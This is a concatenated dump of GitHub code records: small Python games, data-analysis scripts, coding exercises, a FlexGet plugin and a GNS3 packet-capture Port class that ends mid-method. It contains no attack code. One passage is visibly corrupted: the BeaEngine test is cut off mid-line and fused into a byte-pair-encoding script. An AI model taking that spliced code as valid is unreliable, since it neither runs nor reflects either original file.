player.rect_player.topleft = (80,720)\n game_over = False\n pygame.display.update() # обновление экрана, чтобы увидеть новые рисунки\n clock.tick(FPS) # ограничение ФПС\npygame.quit() # закрытие игры после того, как игровой цикл\n# закончится, после этой строки нет смысла взаимодействовать с pygame\n","repo_name":"Druags/2d_platformer_project_maxiprofit","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":4070,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"125331035","text":"import os.path\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom matplotlib import colors as mcols\n\n# Function to assign a season\ndef assign_seasons(dataframe):\n # Make sure the date column is in datetime format\n dataframe['year'] = dataframe['data'].astype(str).str[:4]\n dataframe['month'] = dataframe['data'].astype(str).str[4:6]\n dataframe['day'] = dataframe['data'].astype(str).str[6:8]\n #print(dataframe)\n # Define your season criteria, including the start and end dates for each season\n seasons = [\n ('Winter', ('01', '01'), ('03', '20')),\n ('Spring', ('03','21'), ('06','20')),\n ('Summer', ('06', '21'), ('09','22')),\n ('Autumn', ('09', '23'), ('12', '20')),\n ('Winter', ('12', '21'),('12','31'))\n\n ]\n\n # Create a function to assign seasons based on dates\n # Create a function to assign seasons based on dates\n def assign_season(row):\n year, month, day = row['year'], row['month'], row['day']\n for season, (start_month, start_day), (end_month, end_day) in seasons:\n if (\n start_month <= month <= end_month\n and (start_month != month or start_day <= day)\n and (end_month != month or end_day >= day)\n ):\n return season\n return 'Unknown'\n\n # Apply the function to the 'Date' column to create a new 'Season' column\n dataframe['season'] = dataframe.apply(assign_season, axis = 1)\n\n return dataframe\n\ndef group_year(dataframe):\n # Group the DataFrame by the 'year' column\n grouped = df.groupby('year')\n \n # Return a dictionary of DataFrames, where each key is a year and the corresponding value is the DataFrame for that year\n #yearly_data = {year: group for year, group in grouped}\n \n return grouped #yearly_data\n\n# Import data\nfullpath = r'C:\\Users\\claud\\Documents\\GitHub\\Python_DSIA\\Project\\output\\filtered_data.csv'\ndf = pd.read_csv(fullpath)\n\n# Assign seasons\ndf = assign_seasons(df)\n\n# Extract latitude and longitude\nlatitudes = df['latitude']\nlongitudes = df['longitude']\n\n# Calculate the most northern, southern, eastern, and western coordinates\nmost_north = latitudes.max()\nmost_south = latitudes.min()\nmost_east = longitudes.min()\nmost_west = longitudes.max()\n\n# Calculate average latitude and longitude\naverage_lat = (most_north + most_south) / 2\naverage_long = (most_east + most_west) / 2\n\nprint(f'Lat max: ', most_north)\nprint(f'Lat min: ', most_south)\nprint(f'Lat average: ', average_lat)\nprint(f'Long average: ', average_long)\n\n# Split the data into north and south regions based on latitude\nnorth_data = df[df['latitude'] <= average_lat]\nsouth_data = df[df['latitude'] > average_lat]\n\nprint(f'Number of data in the north: ', len(north_data))\nprint(f'Number of data in the south: ', len(south_data))\n\n# Split the data into north and south regions based on longitudes\neast_data = df[df['longitude'] >= average_long]\nwest_data = df[df['longitude'] < average_long]\n\nprint(f'Number of common in the east: ', len(east_data))\nprint(f'Number of common in the west: ', len(west_data))\n\n#Groupby Each dataset for year\nnorth_data_year = north_data.groupby('year')\nsouth_data_year = south_data.groupby('year')\neast_data_year = east_data.groupby('year')\nwest_data_year = west_data.groupby('year')\n\n# Calculate the mean for the 'TS' column\nnorth_mean_temp_TS = north_data_year['TS'].mean()\nsouth_mean_temp_TS = south_data_year['TS'].mean()\n\nprint(f'Mean in the north: ', len(north_mean_temp_TS))\nprint(f'Mean in the south: ', len(south_mean_temp_TS))\n\n# Extract the data we want to plot\n\nnorth_TS_winter = north_data_year.get_group('2015')[north_data_year.get_group('2015')['season'] == 'Winter']['TS']\nsouth_TS_winter = south_data_year.get_group('2015')[south_data_year.get_group('2015')['season'] == 'Winter']['TS']\n\neast_TS_winter = east_data_year.get_group('2015')[east_data_year.get_group('2015')['season'] == 'Winter']['TS']\nwest_TS_winter = west_data_year.get_group('2015')[west_data_year.get_group('2015')['season'] == 'Winter']['TS']\n\n'''\n# Create histograms to visualize the TS variation between north and south\nfig, axes = plt.subplots(1, 2, figsize=(10, 5))\n\naxes[0].hist(north_mean_temp_TS, bins=20, color='blue', edgecolor='black', alpha=0.7)\naxes[0].set_title('North Region - TS')\n\naxes[1].hist(south_mean_temp_TS, bins=20, color='green', edgecolor='black', alpha=0.7)\naxes[1].set_title('South Region - TS')\n\nfor ax in axes:\n ax.set_xlabel('TS')\n ax.set_ylabel('Frequency')\n\nfig.suptitle('Year Mean TS Variation in North vs South Regions')\n\nplt.show()\n\n\n# Create histograms to visualize the TS variation between north and south\nfig, axes = plt.subplots(1, 2, figsize=(10, 5))\n\n#north_TS_winter = north_data_year.get_group('2015')[north_data_year.get_group('2015')['season'] == 'Winter']['TS']\n#south_TS_winter = south_data_year.get_group('2015')[south_data_year.get_group('2015')['season'] == 'Winter']['TS']\n#north_TS_winter = north_data_year[north_data_year['season' == 'winter']].get_group('2016')['TS'] # Change the year to the one you're interested in\n#south_TS_winter = south_data_year.get_group('2016')['TS'] # Change the year to the one you're interested in\n\naxes[0].hist(north_TS_winter, bins=20, color='blue', edgecolor='black', alpha=0.7)\naxes[0].set_title('North Region - TS')\n\naxes[1].hist(south_TS_winter, bins=20, color='green', edgecolor='black', alpha=0.7)\naxes[1].set_title('South Region - TS')\n\nfor ax in axes:\n ax.set_xlabel('TS')\n ax.set_ylabel('Events')\n\nfig.suptitle('Year TS Variation in North vs South Regions WINTER')\n\nplt.show()\n\n# Create histograms to visualize the TS variation between esat and west\nfig, axes = plt.subplots(1, 2, figsize=(10, 5))\n\n\n\n#east_TS_winter = east_data_year.get_group('2015')[east_data_year.get_group('2015')['season'] == 'Winter']['TS']\n#west_TS_winter = west_data_year.get_group('2015')[west_data_year.get_group('2015')['season'] == 'Winter']['TS']\n\naxes[0].hist(east_TS_winter, bins=100, color='blue', edgecolor='black', alpha=0.7)\naxes[0].set_title('East Region - TS')\n\naxes[1].hist(west_TS_winter, bins=100, color='green', edgecolor='black', alpha=0.7)\naxes[1].set_title('West Region - TS')\n\nfor ax in axes:\n ax.set_xlabel('TS')\n ax.set_ylabel('Events')\n\nfig.suptitle('Year TS Variation in East vs South Regions WINTER')\n\nplt.show()\n'''\n\n#Try to plot the histogram in one plot \ncommon_plot_params = {\n 'density': True,\n #'alpha': 0.6,\n #'range': (0, 1e4),\n 'bins': 100,\n 'histtype': 'stepfilled'\n \n}\n\nfig, ax = plt.subplots()\n\nax.hist(north_TS_winter, label = 'North', color=mcols.to_rgba('tab:blue', 0.2), edgecolor='tab:blue', **common_plot_params)\nax.hist(south_TS_winter, label = 'South',color=mcols.to_rgba('tab:orange', 0.2), edgecolor='tab:orange', **common_plot_params)\n\n#for ax in axes:\nax.set_xlabel('TS')\nax.set_ylabel('Events')\n \nfig.suptitle('Year TS Variation in North vs South Regions WINTER')\nax.legend(frameon=False, loc='upper left')\n\nplt.show()\n\n\nfig, ax = plt.subplots()\n\nax.hist(east_TS_winter, label = 'East', color=mcols.to_rgba('tab:purple', 0.2), edgecolor='tab:purple', **common_plot_params)\nax.hist(west_TS_winter, label = 'West', color=mcols.to_rgba('tab:olive', 0.2), edgecolor='tab:olive', **common_plot_params)\n\n#for ax in axes:\nax.set_xlabel('TS')\nax.set_ylabel('Events')\n\nfig.suptitle('Year TS Variation in East vs West Regions WINTER')\nax.legend(frameon=False, loc='upper left')\n\nplt.show()\n\n","repo_name":"claudia-bianchini/Python_DSIA","sub_path":"Project/histogram_ok.py","file_name":"histogram_ok.py","file_ext":"py","file_size_in_byte":7451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23796410970","text":"class Player:\n def __init__(self, name='Guest'):\n self.name = name\n self.best_score = self.get_best_score()\n\n def get_best_score(self):\n try:\n return self.best_score\n except:\n if self.name == 'Guest':\n return 0\n else:\n # Need to extract from the database the top score\n return 1\n","repo_name":"almog674/guitar_project","sub_path":"gameplay/games/balloons/Player.py","file_name":"Player.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42634096238","text":"def balanceSums(arr):\n suml = 0\n sumr = sum(arr)\n \n for i , ele in enumerate(arr):\n sumr -= ele\n if suml == sumr:\n \n return \"YES\"\n suml += ele\n \n \n return \"NO\"\n\narr = list(map(int, input('list: ').rstrip().split()))\nprint(balanceSums(arr))","repo_name":"Samkanja/solutions","sub_path":"searching/sherlockandArray.py","file_name":"sherlockandArray.py","file_ext":"py","file_size_in_byte":315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"43879364557","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see \n# \n# @author : beaengine@gmail.com\n\nfrom headers.BeaEnginePython import *\nfrom nose.tools import *\nimport struct\nimport yaml\n\nclass TestSuite:\n\n def test_SimpleInstructions(self):\n stream = open(os.path.abspath(os.path.join(os.path.dirname(__file__), 'opcode1byte.yml')), \"r\")\n instructions = yaml.load(stream)\n Instruction = DISASM()\n for instr in instructions:\n Buffer = struct.pack('', punctuation_removed)\n return whitespaces_replaced\n\n\ndef bpe_algorithm(sentence, number):\n helper_vocabulary = set()\n helper_vocabulary.add(\"\")\n sentence = prepare_sentence(sentence)\n\n vocabulary = {}\n matched = max_match(sentence, helper_vocabulary, [])\n\n for char in matched:\n if char in vocabulary:\n vocabulary[char] += 1\n else:\n vocabulary[char] = 1\n\n if number < len(vocabulary):\n return \"\\nThe minimum dictionary size ({0}) is bigger than \\'number\\' ({1}).\\n{2} ({3} subwords)\".format(\n str(len(vocabulary)), str(number), str(vocabulary), str(len(vocabulary)))\n\n for _ in range(number - len(vocabulary)):\n dictionary = {}\n # print(vocabulary, '(' + str(len(vocabulary)) + ' subwords)')\n for i in range(len(matched) - 1):\n bigram = matched[i] + matched[i + 1]\n if bigram in dictionary:\n dictionary[bigram] += 1\n else:\n dictionary[bigram] = 1\n\n for x, y in dictionary.items():\n if y == max(dictionary.values()):\n vocabulary[x] = y\n break\n\n matched = max_match(sentence, vocabulary.keys(), [])\n\n if number > len(vocabulary):\n return \"\\nThe maximum dictionary size ({0}) is bigger than \\'number\\' ({1}).\\n{2} ({3} subwords)\".format(\n str(len(vocabulary)), str(number), str(vocabulary), str(len(vocabulary)))\n return \"\\n{0} ({1} subwords)\".format(str(vocabulary), str(len(vocabulary)))\n\n\nif __name__ == \"__main__\":\n print(bpe_algorithm('Hurry on, Harry, hurry on!', 15))\n","repo_name":"piotrwrzodak/UAM-NLP","sub_path":"E/bpe.py","file_name":"bpe.py","file_ext":"py","file_size_in_byte":1854,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"41833832142","text":"#Sentence Evolution\r\n\r\nimport string\r\nimport random\r\nimport time\r\n\r\ncharacters = string.ascii_lowercase + string.ascii_uppercase + string.digits + ' .,|?;:' #All possible characters\r\nsentence = input(\"Enter text: \") #message to be matched\r\nCur = ''.join(random.choice(characters) for i in range(len(sentence))) #populate initial generation with random characters\r\nNxt = ''\r\ncomplete = False\r\ngen = 0\r\n\r\nwhile complete == False:\r\n print(Cur)\r\n Nxt = ''\r\n complete = True\r\n for i in range(len(sentence)):\r\n if Cur[i] != sentence[i]:\r\n complete = False\r\n Nxt += random.choice(characters)\r\n else:\r\n Nxt += sentence[i] \r\n gen += 1\r\n Cur = Nxt\r\n\r\nprint(\"Generations:\" + str(gen))\r\n","repo_name":"micro164/SentenceEvolution","sub_path":"RandSentence.py","file_name":"RandSentence.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"28689437660","text":"from pprint import pprint\n\nclass Decode_signal:\n def __init__(self, signal:str):\n\n _sp = signal.split('|')\n self.all_dig = _sp[0].split()\n self.data = _sp[1].split()\n self.make_key()\n \n\n def make_key(self):\n\n self.key = {i:'' for i in range(10)}\n\n for key in self.all_dig:\n _len = len(key)\n if _len == 2:\n self.key[1] = key\n elif _len == 3:\n self.key[7] = key\n elif _len == 4:\n self.key[4] = key\n elif _len == 7:\n self.key[8] = key\n\n fore_minus_one = self.key[4]\n for car in self.key[1]:\n fore_minus_one = fore_minus_one.replace(car, '')\n\n for key in self.all_dig:\n _len = len(key)\n if _len == 5:\n if all([x in key for x in self.key[1]]):\n self.key[3] = key\n elif all([x in key for x in fore_minus_one]):\n self.key[5] = key\n else:\n self.key[2] = key\n elif _len == 6:\n if not all([x in key for x in self.key[1]]):\n self.key[6] = key\n elif all([x in key for x in self.key[4]]):\n self.key[9] = key\n else:\n self.key[0] = key\n def make_number(self):\n build = []\n for dig in self.data:\n _len = len(dig)\n if _len == 2:\n build.append('1')\n elif _len == 3:\n build.append('7')\n elif _len == 4:\n build.append('4')\n elif _len == 5:\n _set = set(dig)\n if _set == set(self.key[2]):\n build.append('2')\n if _set == set(self.key[3]):\n build.append('3')\n if _set == set(self.key[5]):\n build.append('5')\n elif _len == 6:\n _set = set(dig)\n if _set == set(self.key[0]):\n build.append('0')\n if _set == set(self.key[6]):\n build.append('6')\n if _set == set(self.key[9]):\n build.append('9')\n elif _len == 7:\n build.append('8')\n return int(''.join(build))\n\n\nwith open('data.txt', 'r') as f:\n Data = [x[:-1] for x in f.readlines()]\n\ncum_sum = 0\nfor data in Data:\n cum_sum += Decode_signal(data).make_number()\nprint(cum_sum)\n","repo_name":"TrondurT/adventofcode2021","sub_path":"day08/sp2.py","file_name":"sp2.py","file_ext":"py","file_size_in_byte":2536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23780728210","text":"import random\n\nprint('1. int')\nprint('2. float')\nprint('3. символ от a до z')\nrender_req = input('Выбирите формат данных (1-3): ')\n\nif render_req == '1':\n m1 = input('Введите диапозон в формате (x;y): ')\n x1, x2 = map(int, m1.split(';'))\n z = random.randint(x1, x2)\n print(f'Результат генерации случайного целого числа = {z}')\nelif render_req == '2':\n m1 = input('Введите диапозон в формате (x;y): ')\n x1, x2 = map(float, m1.split(';'))\n z = random.uniform(x1, x2)\n print(f'Результат генерации случайного вещественного числа = {z}')\nelif render_req == '3':\n allLetters = 'abcdefghijklmnopqrstuvwxyz'\n z = random.choice(allLetters)\n print(f'Результат генерации случайного символа от a до z = {z}')\nelse:\n print('Введено не верное значение.')\n\n#ветка 1","repo_name":"vanobl/algorithms","sub_path":"sheet_004.py","file_name":"sheet_004.py","file_ext":"py","file_size_in_byte":1014,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12510042612","text":"import string\nimport pandas as pd\n\ndef filter_by_ascli_rate(text, threshold=0.9):\n ascil_letters = set(string.printable)\n rate=sum(c in ascil_letters for c in text)/len(text)\n return rate<=threshold\n\ndef load_dataset(filtename,n=5000,state=6):\n df = pd.read_csv(filename,sep='¥t')\n \n mapping={1:0,2:0,4:1,5:1}\n df = df[df.star_rating !=3]\n df.star_raing = df.star_raing.map(mapping)\n is_jp=df.review_body.apply(filter_by_ascil_rate)\n df=df[is_jp]\n df = df.sample(frac=1,random_state=state)\n grouped = df.groupby(\"star_rating\")\n df = grouped.head(n=n)\n return df.review_body.values, df.start_rating.values\n\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import accuracy_score\n\ndef train_and_eval(x_train,y_train,x_test,y_test,vectorizer):\n x_train_vec = vectorizer.fit_trainsform(x_train)\n x_test_vec = vectorizer.trainsform(x_test)\n clf = LogisticRegression(solver=\"liblinear\")\n clf.fit(x_train_vec,y_train)\n y_pred = clf.predict(x_test_sec)\n score=accuracy_score(y_test,y_pred)\n print(\":{:4f}\".format(score))","repo_name":"Zastenchivyy-Smolensky/jikken5","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1099,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"11656796134","text":"# Given a number N, Your task is to find the length of the longest consecutive 1's in its binary representation.\n\n# Input:\n# The first line of input contains an integer T denoting the no of test cases. Then T test cases follow. Each test case contains an integer N.\n\n# Output:\n# For each test case in a new line print the length of the longest consecutive 1's in N's binary representation.\n\n# Constraints:\n# 1<=T<100\n# 1<=N<=1000\n\n# Example:\n# Input\n# 2\n# 14\n# 222\n# Output\n# 3 \n# 4\n\n#input \n\ndef longest_consecutive1(n):\n current_length = 0\n max_length = 0\n while(n>0):\n if n&1 !=0:\n current_length = current_length + 1\n else:\n current_length = 0\n \n if current_length > max_length:\n max_length = current_length\n n = n>>1\n print(max_length)\n \nt = int(input())\nfor i in range(0,t):\n numbers = input()\n n = int(numbers)\n longest_consecutive1(n)","repo_name":"amitkmr/coding-questions","sub_path":"BitMagic/longest_consecutive_1s.py","file_name":"longest_consecutive_1s.py","file_ext":"py","file_size_in_byte":939,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"48"} +{"seq_id":"14369467371","text":"import datetime\n\nfrom loguru import logger\n\nfrom flexget import plugin\nfrom flexget.event import event\nfrom flexget.utils.database import Session\n\nlogger = logger.bind(name='est_movies_bluray')\n\n\nclass EstimatesMoviesBluray:\n @plugin.priority(2)\n def estimate(self, entry):\n if 'movie_name' not in entry:\n return\n\n movie_name = entry['movie_name']\n movie_year = entry.get('movie_year')\n\n if movie_year is not None and movie_year > datetime.datetime.now().year:\n logger.debug('Skipping Blu-ray.com lookup since movie year is {}', movie_year)\n return\n\n logger.debug('Searching Blu-ray.com for release date of {} ({})', movie_name, movie_year)\n\n release_date = None\n try:\n with Session() as session:\n lookup = plugin.get('api_bluray', self).lookup\n movie = lookup(title=movie_name, year=movie_year, session=session)\n if movie:\n release_date = movie.release_date\n except LookupError as e:\n logger.debug(e)\n if release_date:\n logger.debug('received release date: {}', release_date)\n return release_date\n\n\n@event('plugin.register')\ndef register_plugin():\n plugin.register(\n EstimatesMoviesBluray, 'est_movies_bluray', interfaces=['estimate_release'], api_ver=2\n )\n","repo_name":"JorgeAnzola/flexget-config","sub_path":"lib/python3.8/site-packages/flexget/components/estimate_release/estimators/est_movies_bluray.py","file_name":"est_movies_bluray.py","file_ext":"py","file_size_in_byte":1377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4505234685","text":"import os\nimport sys\nimport tempfile\nimport shutil\nimport subprocess\nimport shlex\nimport logging\n\nlog = logging.getLogger(__name__)\n\nfrom gns3.utils.normalize_filename import normalize_filename\nfrom ..local_config import LocalConfig\nfrom ..nios.nio_udp import NIOUDP\nfrom ..settings import PACKET_CAPTURE_SETTINGS\n\n\nclass Port:\n\n \"\"\"\n Base port.\n\n :param name: port name (string)\n :param default_nio: NIO object to use by default\n :param stub: indicates a stub port\n \"\"\"\n\n _instance_count = 1\n _settings = {}\n\n # port statuses\n stopped = 0\n started = 1\n suspended = 2\n\n def __init__(self, name, default_nio=None, stub=False):\n\n # create an unique ID\n self._id = Port._instance_count\n Port._instance_count += 1\n\n # In 1.3.3 and 1.3.4 we have issue with port name not a string\n # see: https://github.com/gns3/gns3-gui/issues/393\n assert isinstance(name, str)\n\n self._name = name\n self._short_name = None\n self._port_number = None\n self._adapter_number = None\n self._stub = stub\n self._link_id = None\n self._port_label = None\n self._status = Port.stopped\n self._data = {}\n self._destination_node = None\n self._destination_port = None\n self._hot_pluggable = True\n\n self._capture_supported = False\n self._capture_file_path = \"\"\n self._capturing = False\n self._tail_process = None\n self._capture_reader_process = None\n self._capture_analyzer_process = None\n\n if default_nio is None:\n self._default_nio = NIOUDP\n else:\n self._default_nio = default_nio\n self._nio = None\n\n def id(self):\n \"\"\"\n Returns an unique identifier for this port.\n\n :returns: port identifier (integer)\n \"\"\"\n\n return self._id\n\n def setId(self, new_id):\n \"\"\"\n Sets an identifier for this port.\n\n :param new_id: node identifier (integer)\n \"\"\"\n\n self._id = new_id\n\n # update the instance count to avoid conflicts\n if new_id >= Port._instance_count:\n Port._instance_count = new_id + 1\n\n @classmethod\n def reset(cls):\n \"\"\"\n Reset the instance count.\n \"\"\"\n\n cls._instance_count = 1\n\n def name(self):\n \"\"\"\n Returns the name of this port.\n\n :returns: current port name (string)\n \"\"\"\n\n return self._name\n\n def setName(self, new_name):\n \"\"\"\n Sets a new name for this port.\n\n :param new_name: new port name (string)\n \"\"\"\n\n self._name = new_name\n\n def shortName(self):\n \"\"\"\n Returns the short name of this port.\n\n :returns: current short port name (string)\n \"\"\"\n\n if not self._short_name:\n return self._name\n return self._short_name\n\n def setShortName(self, short_name):\n \"\"\"\n Sets a new short name for this port.\n\n :param short_name: short port name (string)\n \"\"\"\n\n self._short_name = short_name\n\n def status(self):\n \"\"\"\n Returns the status of this port.\n 0 = stopped, 1 = started, 2 = suspended.\n\n :returns: port status (integer)\n \"\"\"\n\n return self._status\n\n def setStatus(self, status):\n \"\"\"\n Sets a status for this port.\n 0 = stopped, 1 = started, 2 = suspended.\n\n :param status: port status (integer)\n \"\"\"\n\n self._status = status\n\n def adapterNumber(self):\n \"\"\"\n Returns the slot number for this port.\n\n :returns: current slot number (integer)\n \"\"\"\n\n return self._adapter_number\n\n def setAdapterNumber(self, adapter_number):\n \"\"\"\n Sets the adapter number for this port.\n\n :param adapter_number: new slot number (integer)\n \"\"\"\n\n self._adapter_number = adapter_number\n\n def portNumber(self):\n \"\"\"\n Returns the port number for this port.\n\n :returns: current port number (integer)\n \"\"\"\n\n return self._port_number\n\n def setPortNumber(self, port_number):\n \"\"\"\n Sets the port number for this port.\n\n :param port: new port number (integer)\n \"\"\"\n\n self._port_number = port_number\n\n def destinationNode(self):\n \"\"\"\n Returns the destination node\n\n :returns: destination Node instance\n \"\"\"\n\n return self._destination_node\n\n def setDestinationNode(self, node):\n \"\"\"\n Sets a new destination Node instance for this port.\n\n :param node: new destination Node instance\n \"\"\"\n\n self._destination_node = node\n\n def destinationPort(self):\n \"\"\"\n Returns the destination Port instance\n\n :returns: destination Port instance\n \"\"\"\n\n return self._destination_port\n\n def setDestinationPort(self, port):\n \"\"\"\n Sets a new destination Port instance for this port.\n\n :param port: new destination Port instance\n \"\"\"\n\n self._destination_port = port\n\n def setDefaultNio(self, default_nio):\n \"\"\"\n Adds a default NIO to this port.\n\n :param default_nio: NIO instance\n \"\"\"\n\n self._default_nio = default_nio\n\n def defaultNio(self):\n \"\"\"\n Returns the default NIO for this port.\n\n :returns: NIO object\n \"\"\"\n\n return self._default_nio\n\n def nio(self):\n \"\"\"\n Returns the NIO attached to this port.\n\n :returns: NIO instance\n \"\"\"\n\n return self._nio\n\n def setNio(self, nio):\n \"\"\"\n Attach a NIO to this port.\n\n :param nio: NIO instance\n \"\"\"\n\n self._nio = nio\n\n def linkId(self):\n \"\"\"\n Returns the link id connected to this port.\n\n :returns: link id (integer)\n \"\"\"\n\n return self._link_id\n\n def setLinkId(self, link_id):\n \"\"\"\n Adds the link id connected to this port.\n\n :param link_id: link id (integer)\n \"\"\"\n\n self._link_id = link_id\n\n def description(self, short=False):\n \"\"\"\n Returns the text description of this port.\n\n :param short: returns a shorter description.\n\n :returns: description\n \"\"\"\n\n if self._destination_node and self._destination_port:\n if short:\n return \"<-> {port} {name}\".format(port=self._destination_port.shortName(),\n name=self._destination_node.name())\n return \"connected to {name} on port {port}\".format(name=self._destination_node.name(),\n port=self._destination_port.name())\n return \"\"\n\n def setFree(self):\n \"\"\"\n Frees this port.\n \"\"\"\n\n self._nio = None\n self._link_id = None\n self._destination_node = None\n self._destination_port = None\n self._port_label = None\n self.stopPacketCapture()\n\n def isFree(self):\n \"\"\"\n Checks if this port is free to use (no NIO attached).\n\n :returns: boolean\n \"\"\"\n\n if self._nio:\n return False\n return True\n\n def isStub(self):\n \"\"\"\n Checks if this is a stub port.\n\n :returns: boolean\n \"\"\"\n\n return self._stub\n\n def setHotPluggable(self, hot_pluggable):\n \"\"\"\n :param hot_pluggable: either the port is hot pluggable.\n \"\"\"\n\n self._hot_pluggable = hot_pluggable\n\n def isHotPluggable(self):\n \"\"\"\n Checks if this port is hot pluggable.\n\n :returns: boolean\n \"\"\"\n\n return self._hot_pluggable\n\n @staticmethod\n def linkType():\n \"\"\"\n Default link type to be used.\n\n :returns: string\n \"\"\"\n\n return \"Ethernet\"\n\n @staticmethod\n def dataLinkTypes():\n \"\"\"\n Returns the supported PCAP DLTs.\n\n :return: dictionary\n \"\"\"\n\n return {\"Ethernet\": \"DLT_EN10MB\"}\n\n def data(self):\n \"\"\"\n Returns the data associated with this port.\n\n :returns: current port data (dictionary)\n \"\"\"\n\n return self._data\n\n def setData(self, new_data):\n \"\"\"\n Sets data to be associated with this port.\n\n :param new_data: new port data (dictionary)\n \"\"\"\n\n self._data = new_data\n\n def label(self):\n \"\"\"\n Returns the port label.\n\n :return: NoteItem instance.\n \"\"\"\n\n return self._port_label\n\n def setLabel(self, label):\n \"\"\"\n Sets a port label.\n\n :param label: NoteItem instance.\n \"\"\"\n\n self._port_label = label\n\n def deleteLabel(self):\n \"\"\"\n Deletes a port label.\n \"\"\"\n\n if self._port_label is not None:\n self._port_label.deleteLater()\n self._port_label = None\n\n @classmethod\n def loadPacketCaptureSettings(cls):\n \"\"\"\n Loads the packet capture settings from the persistent settings file.\n \"\"\"\n\n cls._settings = LocalConfig.instance().loadSectionSettings(\"PacketCapture\", PACKET_CAPTURE_SETTINGS)\n\n @classmethod\n def setPacketCaptureSettings(cls, new_settings):\n \"\"\"\n Sets new packet capture settings.\n\n :param new_settings: settings dictionary\n \"\"\"\n\n cls._settings.update(new_settings)\n LocalConfig.instance().saveSectionSettings(\"PacketCapture\", cls._settings)\n\n @classmethod\n def packetCaptureSettings(cls):\n \"\"\"\n Returns the packet capture settings.\n\n :returns: settings dictionary\n \"\"\"\n\n return cls._settings\n\n def setPacketCaptureSupported(self, value):\n \"\"\"\n Sets either packet capture is support or not on this port\n\n :param value: boolean\n \"\"\"\n\n self._capture_supported = value\n\n def packetCaptureSupported(self):\n \"\"\"\n Returns either packet capture is support or not on this port\n\n :return: boolean\n \"\"\"\n\n return self._capture_supported\n\n def capturing(self):\n \"\"\"\n Returns either packet capture is active\n\n :return: boolean\n \"\"\"\n\n return self._capturing\n\n def startPacketCapture(self, source_node_name, capture_file_path):\n \"\"\"\n Starts a packet capture.\n\n :param capture_file_path: PCAP capture output file\n \"\"\"\n\n self._capturing = True\n self._capture_file_path = capture_file_path\n log.info(\"Saving packet capture to {}\".format(capture_file_path))\n if os.path.isfile(capture_file_path) and self._settings[\"command_auto_start\"]:\n self.startPacketCaptureReader(source_node_name)\n\n def stopPacketCapture(self):\n \"\"\"\n Stops a packet capture.\n \"\"\"\n\n self._capturing = False\n self._capture_file_path = \"\"\n if self._tail_process and self._tail_process.poll() is None:\n try:\n self._tail_process.kill()\n except PermissionError:\n pass\n self._tail_process = None\n self._capture_reader_process = None\n\n def startPacketCaptureReader(self, source_node_name):\n \"\"\"\n Starts the packet capture reader.\n \"\"\"\n\n if not os.path.isfile(self._capture_file_path):\n raise FileNotFoundError(\"the {} capture file does not exist on this host\".format(self._capture_file_path))\n\n if self._tail_process and self._tail_process.poll() is None:\n self._tail_process.kill()\n self._tail_process = None\n if self._capture_reader_process and self._capture_reader_process.poll() is None:\n self._capture_reader_process.kill()\n self._capture_reader_process = None\n\n command = self._settings[\"packet_capture_reader_command\"]\n\n # PCAP capture file path\n command = command.replace(\"%c\", '\"' + self._capture_file_path + '\"')\n\n # Add description\n description = \"{} {} to {} {}\".format(source_node_name, self.name(),\n self.destinationNode().name(), self.destinationPort().name())\n command = command.replace(\"%d\", description)\n\n if \"|\" in command:\n # live traffic capture (using tail)\n command1, command2 = command.split(\"|\", 1)\n info = None\n if sys.platform.startswith(\"win\"):\n # hide tail window on Windows\n info = subprocess.STARTUPINFO()\n info.dwFlags |= subprocess.STARTF_USESHOWWINDOW\n info.wShowWindow = subprocess.SW_HIDE\n if hasattr(sys, \"frozen\"):\n tail_path = os.path.dirname(os.path.abspath(sys.executable)) # for Popen to find tail.exe\n else:\n # We suppose a developer will have tail the standard GNS3 location\n tail_path = \"C:\\\\Program Files\\\\GNS3\"\n command1 = command1.replace(\"tail.exe\", os.path.join(tail_path, \"tail.exe\"))\n command1 = command1.strip()\n command2 = command2.strip()\n else:\n try:\n command1 = shlex.split(command1)\n command2 = shlex.split(command2)\n except ValueError as e:\n msg = \"Invalid packet capture command {}: {}\".format(command, str(e))\n print(msg)\n log.error(msg)\n return\n\n self._tail_process = subprocess.Popen(command1, startupinfo=info, stdout=subprocess.PIPE)\n self._capture_reader_process = subprocess.Popen(command2, stdin=self._tail_process.stdout, stdout=subprocess.PIPE)\n self._tail_process.stdout.close()\n else:\n # normal traffic capture\n if not sys.platform.startswith(\"win\"):\n command = shlex.split(command)\n self._capture_reader_process = subprocess.Popen(command)\n\n def startPacketCaptureAnalyzer(self):\n \"\"\"\n Starts the packet capture analyzer.\n \"\"\"\n\n if not os.path.isfile(self._capture_file_path):\n raise FileNotFoundError(\"the {} capture file does not exist on this host\".format(self._capture_file_path))\n\n if self._capture_analyzer_process and self._capture_analyzer_process.poll() is None:\n self._capture_analyzer_process.kill()\n self._capture_analyzer_process = None\n\n command = 